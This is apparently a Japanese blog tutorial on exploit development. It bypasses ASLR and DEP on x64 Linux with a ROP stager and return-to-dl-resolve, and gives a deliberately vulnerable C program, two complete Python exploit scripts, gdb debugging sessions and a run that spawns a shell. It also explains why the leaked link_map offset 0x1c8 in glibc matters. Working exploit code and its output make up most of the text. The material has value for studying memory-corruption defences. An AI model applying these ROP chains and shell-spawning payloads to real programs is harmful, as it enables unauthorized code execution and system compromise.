「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、ASLR+DEPが有効なx86環境においてlibcバイナリに依存しない形でシェル起動を行った。 ここでは、ASLR+DEPが有効なx64環境において同様のシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
まず、スタックバッファオーバーフローを起こせるコードを書く。
/* bof.c */ #include <unistd.h> int main() { char buf[100]; int size; /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */ char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3"; read(0, &size, 8); read(0, buf, size); write(1, buf, size); return 0; }
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
まず、readelfコマンド、objdumpコマンド、rp++を使い、実行ファイルに関する情報を書き出す。
$ readelf -S a.out > dump.txt $ objdump -d a.out >> dump.txt $ ./rp-lin-x64 --file=a.out --rop=1 --unique > gadgets.txt
これらの情報をもとに、エクスプロイトコードを書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_plt_read = 0x400440 # objdump -d -j.plt a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found) addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found) addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found) addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found) addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 0) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 200) buf1 += struct.pack('<Q', addr_plt_read) buf1 += struct.pack('<Q', addr_pop_rbp) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_leave_ret) addr_reloc = base_stage + 48 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', addr_cmd) buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (200-len(buf2)) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) p.stdin.write(buf2) p.wait()
このコードはオーバーフローさせるバッファのサイズを引数に取る。 コードの内容は基本的には「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」と同じであるが、以下の点において違いがある。
- 関数呼び出しにおける引数は、スタックに並べる代わりにpop命令でレジスタにセットする
- Elf32_Rel、Elf32_Sym構造体の代わりに、Elf64_Rela、Elf64_Sym構造体を使う
- reloc_offsetの値がアドレスのオフセットではなく、Elf64_Rela構造体の配列インデックスとなる
- 上の理由により、Elf64_Sym構造体と同様に、Elf64_Rela構造体を置くアドレスが構造体サイズの倍数の位置になるよう調整する必要がある
Elf64_Rela、Elf64_Sym構造体の定義は次のようになっている。
typedef uint32_t Elf64_Word; typedef uint64_t Elf64_Xword; typedef int64_t Elf64_Sxword; typedef uint64_t Elf64_Addr; typedef uint16_t Elf64_Section; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
引数をセットして実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'
x86の場合と異なり、うまく動いていないことがわかる。
動かない原因を調べてみる
gdbを使い、エクスプロイトコードが送り込まれた後の様子を調べてみる。
$ gdb -q --args python exploit.py 100 Reading symbols from /usr/bin/python...(no debugging symbols found)...done. (gdb) set follow-fork-mode child (gdb) r Starting program: /usr/bin/python exploit.py 100 warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New process 5551] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 5551 is executing new program: /home/user/tmp/a.out [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' Program received signal SIGSEGV, Segmentation fault. [Switching to process 5551] 0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2 (gdb) x/i $pc => 0x7ffff7de86fa: movzx esi,WORD PTR [r8+rsi*2] (gdb) i r rax 0x7ffff7ffe2c8 0x7ffff7ffe2c8 rbx 0x0 0x0 rcx 0x0 0x0 rdx 0x601888 0x601888 rsi 0x1563e 0x1563e rdi 0x400330 0x400330 rbp 0x0 0x0 rsp 0x6017b8 0x6017b8 r8 0x400374 0x400374 r9 0x600f70 0x600f70 r10 0x4002b8 0x4002b8 r11 0x246 0x246 r12 0x601008 0x601008 r13 0x7fffffffe720 0x7fffffffe720 r14 0x0 0x0 r15 0x0 0x0 rip 0x7ffff7de86fa 0x7ffff7de86fa eflags 0x10202 [ IF RF ] cs 0x33 0x33 ss 0x2b 0x2b ds 0x0 0x0 es 0x0 0x0 fs 0x0 0x0 gs 0x0 0x0 (gdb) p/x $r8+$rsi*2 $1 = 0x42aff0 (gdb) x/gx $r8+$rsi*2 0x42aff0: Cannot access memory at address 0x42aff0 (gdb) i proc map process 5551 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out 0x600000 0x601000 0x1000 0x0 /home/user/tmp/a.out 0x601000 0x602000 0x1000 0x1000 /home/user/tmp/a.out ...
ここで、set follow-fork-mode child
によりfork後、子プロセスとなるa.outの様子を表示していることに注意する。
上の結果から、_dl_fixup関数において$r8+$rsi*2 == 0x42aff0
のアドレスを参照しようとした結果、セグメンテーション違反により落ちていることがわかる。
前後の処理を確認するため、_dl_fixup関数に対応するアセンブリコードを表示してみる。
(gdb) bt #0 0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2 #1 0x00007ffff7def235 in ?? () from /lib64/ld-linux-x86-64.so.2 #2 0x4141414141414141 in ?? () #3 0x4141414141414141 in ?? () #4 0x4141414141414141 in ?? () #5 0x0000000000601008 in write@got.plt () #6 0x0001563e00000007 in ?? () #7 0x0000000000000000 in ?? () (gdb) x/10i 0x00007ffff7def235-10 0x7ffff7def22b: mov rdi,QWORD PTR [rsp+0x38] 0x7ffff7def230: call 0x7ffff7de8680 0x7ffff7def235: mov r11,rax 0x7ffff7def238: mov r9,QWORD PTR [rsp+0x30] 0x7ffff7def23d: mov r8,QWORD PTR [rsp+0x28] 0x7ffff7def242: mov rdi,QWORD PTR [rsp+0x20] 0x7ffff7def247: mov rsi,QWORD PTR [rsp+0x18] 0x7ffff7def24c: mov rdx,QWORD PTR [rsp+0x10] 0x7ffff7def251: mov rcx,QWORD PTR [rsp+0x8] 0x7ffff7def256: mov rax,QWORD PTR [rsp] (gdb) x/50i 0x7ffff7de8680 0x7ffff7de8680: push r13 0x7ffff7de8682: mov rax,rdi 0x7ffff7de8685: mov esi,esi 0x7ffff7de8687: lea rcx,[rsi+rsi*2] 0x7ffff7de868b: push r12 0x7ffff7de868d: shl rcx,0x3 0x7ffff7de8691: push rbp 0x7ffff7de8692: push rbx 0x7ffff7de8693: sub rsp,0x28 0x7ffff7de8697: mov rdx,QWORD PTR [rdi+0x68] 0x7ffff7de869b: mov r9,QWORD PTR [rax+0x70] 0x7ffff7de869f: mov rbp,QWORD PTR [rax] 0x7ffff7de86a2: mov rdi,QWORD PTR [rdx+0x8] 0x7ffff7de86a6: mov rdx,QWORD PTR [rax+0xf8] 0x7ffff7de86ad: mov r10,QWORD PTR [r9+0x8] 0x7ffff7de86b1: add rcx,QWORD PTR [rdx+0x8] 0x7ffff7de86b5: mov r8,QWORD PTR [rcx+0x8] 0x7ffff7de86b9: mov r12,QWORD PTR [rcx] 0x7ffff7de86bc: mov rsi,r8 0x7ffff7de86bf: shr rsi,0x20 0x7ffff7de86c3: cmp r8d,0x7 0x7ffff7de86c7: lea rdx,[rsi+rsi*2] 0x7ffff7de86cb: lea rdx,[r10+rdx*8] 0x7ffff7de86cf: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7de86d4: jne 0x7ffff7de8834 0x7ffff7de86da: movzx ecx,BYTE PTR [rdx+0x5] 0x7ffff7de86de: and ecx,0x3 0x7ffff7de86e1: jne 0x7ffff7de882c 0x7ffff7de86e7: mov r9,QWORD PTR [rax+0x1c8] 0x7ffff7de86ee: xor r8d,r8d 0x7ffff7de86f1: test r9,r9 0x7ffff7de86f4: je 0x7ffff7de871f 0x7ffff7de86f6: mov r8,QWORD PTR [r9+0x8] => 0x7ffff7de86fa: movzx esi,WORD PTR [r8+rsi*2] 0x7ffff7de86ff: and esi,0x7fff 0x7ffff7de8705: lea r8,[rsi+rsi*2] 0x7ffff7de8709: mov rsi,QWORD PTR [rax+0x2e0] 0x7ffff7de8710: lea r8,[rsi+r8*8] 0x7ffff7de8714: mov r9d,DWORD PTR [r8+0x8] 0x7ffff7de8718: test r9d,r9d 0x7ffff7de871b: cmove r8,rcx 0x7ffff7de871f: mov ecx,DWORD PTR fs:0x18 0x7ffff7de8727: test ecx,ecx 0x7ffff7de8729: jne 0x7ffff7de8816 0x7ffff7de872f: mov esi,0x1 0x7ffff7de8734: mov r13d,DWORD PTR fs:0x4c 0x7ffff7de873d: mov DWORD PTR fs:0x4c,0x1 0x7ffff7de8749: mov edx,DWORD PTR [rdx] 0x7ffff7de874b: mov rcx,QWORD PTR [rax+0x380] 0x7ffff7de8752: mov r9d,0x1
この内容とレジスタの値をもとに実際のソースコードを見てみると、落ちている箇所が次の部分に対応することがわかる。
const struct r_found_version *version = NULL; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) { const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; version = &l->l_versions[ndx]; if (version->hash == 0) version = NULL; }
これはアドレス解決を行うシンボルのバージョン情報を取得する部分であり、プログラムはvernum[ELFW(R_SYM) (reloc->r_info)]
の箇所で落ちている。
そこで、この処理をスキップするため、if文の条件になっているl->l_info[VERSYMIDX (DT_VERSYM)]
がNULLとなるようにメモリを書き換えることを考える。
なお、バージョン情報がない場合もライブラリ側で指定された特定のバージョン(一般に最新バージョン)が選択されることになるため、動作にはほとんど影響はない。
l->l_info[VERSYMIDX (DT_VERSYM)]
は、アセンブリコード中で[rax+0x1c8]
の形で参照されている。
また、raxレジスタにはlink_map構造体l
のアドレスが入っており、これは実行ファイルのGOTセクションの2ワード目に入っている値である。
以上をもとに、エクスプロイトコードを次のように修正することを考える。
- GOTセクションの2ワード目の値、すなわちlink_map構造体のアドレスをwrite@plt関数により書き出す
- read@plt関数でデータを読み込み、stack pivotを行う
- 書き出されたlink_map構造体のアドレス+0x1c8の場所に、read@plt関数を使いNULL (=0) を書き込む
- Return-to-dl-resolveを行う
エクスプロイトコードを修正してみる
上の内容に従い、エクスプロイトコードを修正すると次のようになる。
# exploit2.py import sys import struct from subprocess import Popen, PIPE bufsize = int(sys.argv[1]) addr_dynsym = 0x00000000004002b8 # readelf -S a.out addr_dynstr = 0x0000000000400330 # readelf -S a.out addr_relplt = 0x00000000004003b8 # readelf -S a.out addr_plt = 0x0000000000400420 # readelf -S a.out addr_got = 0x0000000000600fe8 # readelf -S a.out addr_bss = 0x0000000000601028 # readelf -S a.out addr_plt_read = 0x400440 # objdump -d -j.plt a.out addr_plt_write = 0x400430 # objdump -d -j.plt a.out addr_got_read = 0x601008 # objdump -d -j.plt a.out addr_pop_rdi = 0x0040054f # 0x0040054f: pop rdi ; ret ; (1 found) addr_pop_rsi = 0x00400551 # 0x00400551: pop rsi ; ret ; (1 found) addr_pop_rdx = 0x00400557 # 0x00400557: pop rdx ; ret ; (1 found) addr_pop_rbp = 0x00400512 # 0x00400512: pop rbp ; ret ; (3 found) addr_leave_ret = 0x004005a6 # 0x004005a6: leave ; ret ; (1 found) stack_size = 0x800 base_stage = addr_bss + stack_size buf1 = 'A' * bufsize buf1 += 'A' * (8-len(buf1)%8) buf1 += 'AAAAAAAA' * 2 buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 1) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', addr_got+8) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 8) buf1 += struct.pack('<Q', addr_plt_write) buf1 += struct.pack('<Q', addr_pop_rdi) buf1 += struct.pack('<Q', 0) buf1 += struct.pack('<Q', addr_pop_rsi) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_pop_rdx) buf1 += struct.pack('<Q', 200) buf1 += struct.pack('<Q', addr_plt_read) buf1 += struct.pack('<Q', addr_pop_rbp) buf1 += struct.pack('<Q', base_stage) buf1 += struct.pack('<Q', addr_leave_ret) p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE) p.stdin.write(struct.pack('<Q', len(buf1))) p.stdin.write(buf1) print "[+] read: %r" % p.stdout.read(len(buf1)) addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0] print "[+] addr_link_map = %x" % addr_link_map addr_dt_versym = addr_link_map + 0x1c8 addr_reloc = base_stage + 104 align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18) addr_reloc += align_reloc addr_sym = addr_reloc + 24 align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18) addr_sym += align_dynsym addr_symstr = addr_sym + 24 addr_cmd = addr_symstr + 7 reloc_offset = (addr_reloc - addr_relplt) / 0x18 r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7 st_name = addr_symstr - addr_dynstr buf2 = 'AAAAAAAA' buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', addr_pop_rsi) buf2 += struct.pack('<Q', addr_dt_versym) buf2 += struct.pack('<Q', addr_pop_rdx) buf2 += struct.pack('<Q', 8) buf2 += struct.pack('<Q', addr_plt_read) buf2 += struct.pack('<Q', addr_pop_rdi) buf2 += struct.pack('<Q', addr_cmd) buf2 += struct.pack('<Q', addr_plt) buf2 += struct.pack('<Q', reloc_offset) buf2 += 'AAAAAAAA' buf2 += 'A' * align_reloc buf2 += struct.pack('<Q', addr_got_read) # Elf64_Rela buf2 += struct.pack('<Q', r_info) buf2 += struct.pack('<Q', 0) buf2 += 'A' * align_dynsym buf2 += struct.pack('<I', st_name) # Elf64_Sym buf2 += struct.pack('<I', 0x12) buf2 += struct.pack('<Q', 0) buf2 += struct.pack('<Q', 0) buf2 += 'system\x00' buf2 += '/bin/sh <&2 >&2\x00' buf2 += 'A' * (200-len(buf2)) p.stdin.write(buf2) p.stdin.write(struct.pack('<Q', 0)) p.wait()
引数をセットして実行してみる。
$ python exploit2.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00O\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00' [+] addr_link_map = 7f036bb002c8 $ id uid=1000(user) gid=1000(user) groups=1000(user) $
必要なROP gadgetが揃っているという条件のもと、ASLR+DEPが有効なx64環境下において、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。
オフセット0x1c8の詳細を調べてみる
最後に、[rax+0x1c8]
のオフセット0x1c8の詳細について調べてみる。
すでに述べたように、これはlink_map構造体l
に対してl->l_info[VERSYMIDX (DT_VERSYM)]
の値に対応するものである。
l_info
はlink_map構造体においてglibc内部でのみ利用されるメンバであり、次のように定義されている。
struct link_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Base address shared object is loaded at. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ struct link_map *l_next, *l_prev; /* Chain of loaded objects. */ /* All following members are internal to the dynamic linker. They may change without notice. */ /* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ struct link_map *l_real; /* Number of the namespace this link map belongs to. */ Lmid_t l_ns; struct libname_list *l_libname; /* Indexed pointers to dynamic section. [0,DT_NUM) are indexed by the processor-independent tags. [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC. [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */ ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; (snip) };
ここで、Lmid_tの定義は次のようになっている。
/* Type for namespace indeces. */ typedef long int Lmid_t;
ElfW(Addr) == Elf64_Addr == uint64_t
であること、ポインタのサイズが8バイトであることより、link_map構造体においてl_infoはオフセット64の位置にあることがわかる。
ただし、コメントにあるようにl_real以下のメンバの配置はglibcのバージョンによって変わる可能性がある。
l_infoはdynamicセクションに置かれたElf64_Dyn構造体を指すポインタの配列である。
ここで、参照されているインデックス値VERSYMIDX (DT_VERSYM)
に関する定義をまとめると、次のようになる。
- [svn] View of /branches/eglibc-2_15/libc/elf/dynamic-link.h
- [svn] View of /branches/eglibc-2_15/libc/elf/elf.h
#ifndef VERSYMIDX # define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (sym)) #endif
#define DT_NUM 34 /* Number used */ #define DT_VERSYM 0x6ffffff0 #define DT_VERNEEDNUM 0x6fffffff /* Number of needed versions */ #define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag)) /* Reverse order! */
DT_THISPROCNUM
の値はアーキテクチャごとに異なるが、x64の場合は0となっている。
/* Number of extra dynamic section entries for this architecture. By default there are none. */ #define DT_THISPROCNUM 0
以上より、l->l_info[VERSYMIDX (DT_VERSYM)]
を表すアドレスは次のようになる。
l->l_info[VERSYMIDX (DT_VERSYM)] == &l + 64 + 8 * (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (DT_VERSYM)) == &l + 64 + 8 * (34 + 0 + (0x6fffffff - 0x6ffffff0)) == &l + 0x1c8
これはアセンブリコード中の[rax+0x1c8]
に一致している。
なお、svnのannotate情報を見ると、このオフセットはRevision 4(2006/08/16、glibc 2.4)から変化していないことがわかる。